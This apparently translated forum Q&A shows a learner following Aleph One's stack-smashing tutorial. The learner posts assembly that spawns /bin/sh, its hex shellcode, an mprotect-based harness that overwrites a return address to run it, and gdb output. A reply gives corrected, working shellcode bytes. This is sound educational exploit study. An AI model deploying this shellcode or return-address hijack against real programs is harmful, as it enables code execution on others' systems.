реализация шестнадцатеричного кода для создания оболочки

Я пытаюсь реализовать коды, приведенные в разделе разбивая стек для развлечения и получения прибыли с помощью Aleph, чтобы изучить основы атак переполнения буфера.

Архитектура машины: Ubuntu 12.10 64 бит

программы, скомпилированные с использованием флага -m32 в gcc

До сих пор мне удалось создать оболочку, используя инструкции по сборке. Следующим шагом является преобразование этих инструкций в шестнадцатеричный код, где я столкнулся с этой проблемой. Ассемблерный код для порождения оболочки:

    void main() {
         __asm__(
    "Start:"
    "jmp    CallCode\n\t"
    "CallPop:"                    
    "popl   %esi\n\t"
    "movl   %esi,0x8(%esp)\n\t"           
    "xorl   %eax,%eax\n\t"                
    "movb   %al,0x7(%esp)\n\t"      
    "movl   %eax,0xc(%esp)\n\t"           
    "movb   $0xb,%al\n\t"                 
    "movl   %esi,%ebx\n\t"                
    "leal   0x8(%esp),%ecx\n\t"           
    "leal   0xc(%esp),%edx\n\t"           
    "int    $0x80\n\t"                    
    "xorl   %ebx,%ebx\n\t"                
    "movl   %ebx,%eax\n\t"                
    "inc    %eax\n\t"                     
    "int    $0x80\n\t"
    "CallCode:"                   
    "call   CallPop\n\t"                    
    ".string \"/bin/sh\"\n\t"             

); }

Соответствующий шестнадцатеричный код:

    #include <sys/mman.h>
    #include<stdio.h>

    #define PAGE_SIZE 4096U

    char shellcode[]=                         "\xeb\x24\x5e\x89\x74\x24\x08\x31\xc0\x88\x44\x24\x07\x89\x44\x24\x0c\xb0"
        "\x0b\x89\xf3\x8d\x4c\x24\x08\x8d\x54\x24\x0c\xcd"
       "\x80\x31\x89\xd8\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";


    void test_shellcode() {

      int *ret;

// The data section is non-executable
// Change protection bits for the page containing our shellcode

      mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE,   PROT_READ | PROT_WRITE | PROT_EXEC);

          ret = (int*)((char *)&ret + 16);
          (*ret) = (int)shellcode;
    }

     int main() {
      test_shellcode(); 
      return 0;
     } 

Небольшой анализ с использованием отладчика GDB привел меня к следующим результатам:

    (gdb) run
    Starting program: /home/peps/CCPP/Hello/testsc3 

    Program received signal SIGILL, Illegal instruction.
    0x0804a067 in shellcode ()
    (gdb) x/s 0x0804a067
    0x804a067 <shellcode+39>:   "\377\377\377/bin/sh"

После применения точек останова я думаю, что проблема кроется где-то в шестнадцатеричном коде, в котором я так и не смог разобраться. Кроме того, я, кажется, не понимаю контекст незаконных инструкций здесь.

Любая помощь будет оценена по достоинству.


person Peps0791    schedule 08.05.2013    source источник
comment
gdb может дизассемблировать машинный код (например, с помощью dis или x/i)   -  person Basile Starynkevitch    schedule 08.05.2013
comment
Я использовал команду дизассемблирования довольно много раз, фактически сгенерированный ею ассемблерный код использовался в первом коде, а также был весьма полезен при поиске адресов возврата. Но как использовать его для поиска проблемы в шестнадцатеричном коде, у меня нет идей.   -  person Peps0791    schedule 08.05.2013


Ответы (1)


Вы сделали пару ошибок в шелл-коде.

char shellcode[] = 
"\xeb\x24\x5e\x89\x74\x24\x08\x31"
"\xc0\x88\x44\x24\x07\x89\x44\x24"
"\x0c\xb0\x0b\x89\xf3\x8d\x4c\x24"
"\x08\x8d\x54\x24\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd7"
"\xff\xff\xff/bin/sh";
person dna    schedule 08.05.2013
comment
это сработало!! Большое спасибо!! Какая это была глупая глупая ошибка! Виноват!! - person Peps0791; 08.05.2013